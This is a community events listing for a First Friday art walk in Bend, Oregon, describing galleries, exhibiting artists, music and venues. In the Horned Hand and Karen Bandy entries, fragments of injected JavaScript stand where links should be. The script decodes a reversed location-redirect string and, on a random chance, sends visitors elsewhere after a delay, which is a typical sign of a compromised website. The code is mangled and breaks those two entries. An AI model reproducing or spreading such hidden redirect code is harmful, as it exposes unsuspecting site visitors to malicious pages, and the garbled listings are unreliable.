First Friday April 5






















1. Atelier 6000 541-330-8759 2. Desperado 541-749-9980 3. Franklin Crossing 541-382-9398 4. Karen Bandy Studio 541-388-0155 5. Lubbesmeyer Studio 541-330-0840 6. Red Chair Gallery  541-306-3176 7. Sage Custom Framing 541-382-5884 8. The Oxford 877-440-8436 9. Tumalo Art Co. 541-385-9144  (Interested in getting on the ArtWalk map? Ask us how!)

Alleda Real Estate 25 Minnesota Ave., www.vivianolsen.com, 541-923-4073. A showing of animal paintings and sculptures by Vivian Olsen and Joren Traveller. Two local wildlife artists present Wild and Tame, a combination of paintings and sculptures depicting a variety of media and animal subjects in an exhibit devoted to the animals they love. Both artists are members of the High Desert Art League.

Art in the Atrium at Franklin Crossing 550 NW Franklin, celebrates First Friday with Abstractions, a fine art exhibit featuring Sandy Brooke, Erin Kay, Lynn Rothan and Margot Voorhies Thompson.
Brooke, associate professor at OSU-Cascades and A&E April cover artist, exhibits encaustic paintings blending disparate images, concepts and time together in layers of wax. The information therein rises through a seemingly chaotic ground to the surface “like ghosts of history” suggesting new meanings. The artist earned a MFA at the University of Oregon under noted abstract expressionist Frank Okada and shows her work widely through the U.S. and also abroad.
Kay explores our cultural and organic systems observing frequent paradoxes and interconnections we experience daily but often overlook. She reflects these observations in lushly layered, abstracted encaustic paintings, expressing the complexity of her observations. A BFA graduate of OSU-Corvallis, the artist earned a MFA at Pratt Institute.
Rothan shows varied mediums painted in richly saturated palettes expressing complex technique and imagery. Broken pointillism combines with stark, heavy solid line to suggest a map of symbols, some vaguely figurative and others purely abstract. Amorphous organic shapes float above integrated levels of painterly brushwork suggesting a riotous microscopic view. Educated in Ohio, the artist teaches art to both peers and challenged youth.  
Voorhies Thompson presents imagery reflecting her interest in calligraphy. Creating her own vernacular referencing historical, contemporary and futuristic letterforms, the artist encodes literature, historic events and other information beneath the surface for the viewer’s interpretation.  An Eliot Scholar at Reed College and educated at several NW institutions, her numerous exhibits include those in the U.S. and earlier in France, Mali and Korea.  Her artwork appears courtesy of the artist and the Laura Russo Gallery, Portland.
Noi Thai at Franklin Crossing will serve appetizers and wine. The popular Chiringa led by Shireen Amini performing soulful and irresistible Latin rhythms. Billye Turner organizes exhibitions for Franklin Crossing with additional information at billyeturner@bendnet.com.

Atelier 6000 389 SW Scalehouse Ct., Suite 120, 541-330-8759, www.atelier6000.com. Hidden Agendas thru May. Who would have thought that books could be used for something other than, well, reading? Turn a page on the notion of ‘the book’ and look at it as a vehicle for art. National, international, regional and local artists are represented in the very first presentation of an exhibition devoted to the Artists’ Book. The handcrafted book may tell a story or expose hidden layers; reveal emotions or make you laugh as artists explore a wide interpretation of the theme Hidden Agendas.

Bend Brewing Company 1019 NW Brooks St., 541-383-1599, www.bendbrewingco.com. Music by Mai and Dave, 6:30-8:30pm.

Bend d’Vine on Wall Street featuring Powskichic of Bend, a/k/a Brenda Reid Irwin.  541-550-7174 http://flic.kr/s/aHsjCJinnm. Live music on First Friday featuring The Django Band. Music from Woody Allen’s film, Midnight in Paris featuring Steve Thorp on guitar and John Irwin. 

Bend Your Imagination 126 NW Minnesota Ave., 541-678-5146, www.bendyourimagination.com. Featured artist Dorota Nowark, with original oil paintings and photography.

Crow’s Feet Commons behind the Tower Theatre in Mirror Pond Plaza, 541-728-0066, www.facebook.com/CrowsFeetCommons. A not-so-forgotten but recently rejuvenated part of “Old Town” Bend’s rich history.

Desperado Contemporary & Nostalgic Western Store 330 SW Powerhouse, Old Mill District. 541-749-9980. Featuring Bend artist Barbara Slater who is inspired by the “out west” way of life and cowboy culture with a touch of city glitz. Painting oils with energy and spirit, this artist’s pigmentation is rich and succulent, while her brushwork is bold and responsive. Barbara continues her studies with different genres, painting still-lifes, florals, landscapes and animals. Animals are her present focus with images of vibrant roosters, horses, cows and other barnyard residents. Painting these rural inhabitants with love and respect, Barbara gives each animal an attitude and personality. Slater is a member of Oil Painters of America, California Art Club, American Women Artists (AWA) and The High Desert Art League. Slater’s paintings are an ongoing exhibit at Desperado at the Old Mill. www.barbaraslater.com.
April 25, 5-8pm special fashion show to support BendFilm’s Independent Women for Indie Film.

Feather’s Edge Finery 113 NW Minnesota Ave., 541-306-3162, www.thefeathersedge.com. Featuring Bend artist, Ken Simms. Ken’s creations consist of photo frames, art panels, wall and table lights, and other home furnishings.  All are made out of repurposed materials, collected around Central Oregon.

Horned Hand 507 NW Colorado Ave., 541-728-0879, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and”>www.facebook.com/TheHornedHand. A wide variety of art, music and beer.

John Paul Designs Custom Jewelry + Signature Series. 1006 NW Bond St., www.johnpauldesigns.com. Specializing in unique, one of a kind wedding and engagement rings in a variety of metals.

Karen Bandy Design Jeweler 25 NW Minnesota Ave., #5, 541-388-0155, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andy.com”>www.karenbandy.com. Tucked behind Thump coffee and Aleda real estate, Karen Bandy’s studio is not easy to find but well worth the effort. You will see original jewelry and fine art all designed and created by Karen Bandy. The colors will wow you, the designs will intrigue you, and you’ll be amazed at how comfortable her jewelry is to wear. “The connection of the paintings with the jewelry is evident in my work, even though it is for the most part an unconscious connection. I’m sure the years of designing jewelry, my use of color and shapes, drives me in my paintings but I never set out deliberately to make that connection. It just happens,” says Bandy.

Lubbesmeyer Studio & Gallery The Old Mill District, second story loft, 541-330-0840, www.lubbesmeyer.com. The Lubbesmeyer twins offer a range of work created in fiber and paint.  Through the twins’ collaborative process, they distill literal imagery into vivid blocks of color and texture, creating an abstracted view of their surroundings. The working studio and gallery is open Tuesday through Saturday, and the Lubbesmeyers welcome your visit.

Mary Medrano Gallery 25 NW Minnesota Avenue, #12 (above Thump Coffee), 408-250-2732, www.marymedrano.com. 6-9pm for Open Studio.

Mockingbird Gallery 869 NW Wall St., 541-388-2107, www.mockingbird-gallery.com. Exhibition of New Works by Richard Boyer. Meet the artist and enjoy the jazz sounds of Rich Hurdle and Friends.  Boyer is a realist painter with an edge. His landscapes reflect a traditional approach to oil painting but are enhanced by rich, textural surfaces infused with beautiful color and light. His subjects range from studies of human figures involved in their daily lives to busy European scenes of harbors, cafés and quaint villages.  He also paints landscapes of the America West.  

Art at the Oxford 10 NW Minnesota, celebrates First Friday with Visions of Hope, paintings and drawings sold to benefit orphans in the Otino Waa Children’s Village, Uganda. Opens Wednesday, April 3 thru Sunday, April 7.
Retired Bend schoolteachers, Bob and Carol Higgins, have worked for 12 years in Northern Uganda to build Otino Waa, more like a village than an orphanage, with small houses for eight children and local widows serving as housemothers. Presently 260 children live in the village funded entirely from private donations by generous Americans.  
The children attend primary, secondary and vocational school, gaining a general education and job skills.  Some graduates now move on to higher education or skilled work in the community. Learn additional information from Dale Russel, PATH Ministries at PATHUSA!@bendbroadband.com.  
Unique among the benefactors contributing to Otina Waa are inmates of the Snake River Correctional Institution of Northeastern Oregon.  During a prison chapel service, they heard the heart-breaking stories of the orphans, some forced into service as child soldiers or with parents lost to AIDS and other tragic circumstances. The inmates proposed to officials that they create works of art to be sold to benefit the children.  
The artwork on display at the Oxford Hotel is from the Snake River inmates, many of whom will never be released. They say the payback for them is a sense of purpose not felt in years. Thus art helps to heal not only children in Uganda but also serves incarcerated men in Oregon – a story of hope lost…and found.
The Oxford serves complimentary wine during the event and generously allows non-profits use of their conference area. Billye Turner, art consultant, provides additional information at 541-382-9398 or billyeturner@bendnet.com.

Patagonia @ Bend 920 NW Bond Street, Suite 101, 541-382-6694, http://patagoniabend.com. Featuring the photography of Mike Putnam.

Paul Scott Gallery 869 NW Wall Street, Suite 104, 541-330-6000, www.paulscottfineart.com. New works by Central Oregon artists Valerie Winterholler and Mytchell Mead.
Valerie holds a BS in Art from Southern Oregon University and works in acrylic on panel. She is inspired by the balance and symmetry of nature, using line and color as a way of conveying her love of things that are untouched by the constraints of society. Her work has received numerous accolades and is in major private collections throughout the United States.
Mead combines patina’d steel and weathered reclaimed wood. He takes his inspiration from the high desert and its volcanic plate. “There is both subtlety and drama in our landscape. For me, weathered wood and rust masterfully articulate the interplay of the human spirit with our unique environment.”

Peapod Glass Gallery 164 NW Greenwood, 541-312-2828, www.facebook.com/pages/Peapod-Glass/183839028294871. Come check out Peapod Gallery and kick it with local reggae band Vital Rythym. We will be presenting local artist Taylor Nolan, that will be doing live painting.


QuiltWorks 926 NE Greenwood Ave., 541-728-0527. Close to 60 quilts and fiber art projects for the Deschutes County Library’s Novel Idea…Read Together project. The quilts will be based on The Snow Child the 2013 selection. The unveiling will be Friday, April 5 from 5-7pm and will continue through Saturday, April 6 with an open house from 10am-4pm to meet the artists.

Red Chair Gallery 103 NW Oregon Ave., in the historic O’Kane building, 541-306-3176, www.redchairgallerybend.com. Emerging Artists featuring Central Oregon High School students art work. Bend, Mountain View, Summit and Sisters High Schools have all had students work juried in for placement in the gallery. The artists were asked to sign a 30 day membership commitment which places them under the same sale guidelines that the regular members of the gallery hold to. “We wanted to make this experience unique to others that students may have had in the past. We are able to provide them the “real world” sales experience,” said Dee McBrien-Lee, Gallery Director. Each piece has been juried in and the students are responsible for matting and / or framing and pricing their own pieces. The show kicks off on April 5 with a private artist reception from 4-5pm, where the students can invite friends and family in for early sales.

Sage Custom Framing & Gallery Exhibits 834 NW Brooks St., 541-382-5884, www.sageframing-gallery.com. Sandra Neary – Abstract Pathways acrylic and mixed media collage for the month of April. La Pine artist, Sandra Neary is well known for her use of color and strong composition in landscapes and portraits. Her vibrant and distinctive paintings reflect her interests and experiences in life. This show includes numerous non-representational works, many of which were inspired by recent life events.  This is a first showing for most of the works. Neary works in acrylics, collage and mixed water media.  She believes that the artist should bring a strong sense of self to each painting through the use of color and form so that each piece becomes a part of the artist. She believes that every painting should be unique and that the process of painting should be a continual learning experience, an ongoing experiment.

The Silver Otter 706 SW Industrial Way, Suite 100, Bend. 541-241-7818. www.thesilverotter.com. Exhibiting a collection of locally made art and handmade crafts from all over the world.

The Wine Shop & Tasting Room 55 NW Minnesota Ave., 541-389-2884, http://thewineshopbend.com. New art by Patrick May, his art reflects the street and stencil genre.

Thump 25 NW Minnesota Ave, 541-388-0226, www.thumpcoffee.com. The Spring Show by Sunriver Artist Renee’ Owens thru April. Features one of a kind works on found or recycled canvas. Renee’ specializes in vivid Pop Art that reflects her active life in Central Oregon. http://naybeline.moonfruit.com.

Tumalo Art Company at Old Mill District, 450 SW Powerhouse Dr., #407, 541-385-9144, www.tumaloartco.com. Art About the EARTH, a group show by gallery artists. Using all painting mediums, glass, photography, sculpture and ceramics the gallery will celebrate all things earthly…flora and fauna, animals and elements.

Townshend’s Bend Teahouse 835 NW Bond St., Bend, 541-312-2001. Featuring Artist Kim Kimerling, One Race – The Human Race.  Kimerling grew up on a farm in Idaho and received his bachelor and masters degree from the University of Idaho; he furthered his education at Boise Community College, University of Oregon and Portland State. He has continued to take classes and workshops in various art media and techniques and at present at Atelier 6000.
Kimerling has taught in public and private schools through out the Western States and South West United States as well as Oklahoma, Nigeria, Mexico and Belize.

Velvet Lounge 805 NW Wall Street, 541-728-0303. Jor-El C. Zajatz displaying photography series, At Om in India, a collection from his recent bike trip through India. To round out his creative skills he will also display three paintings, Spirit Animals and a graphic design set, Everyday Zen, which explore the concept of transition and finding balance, respectively.


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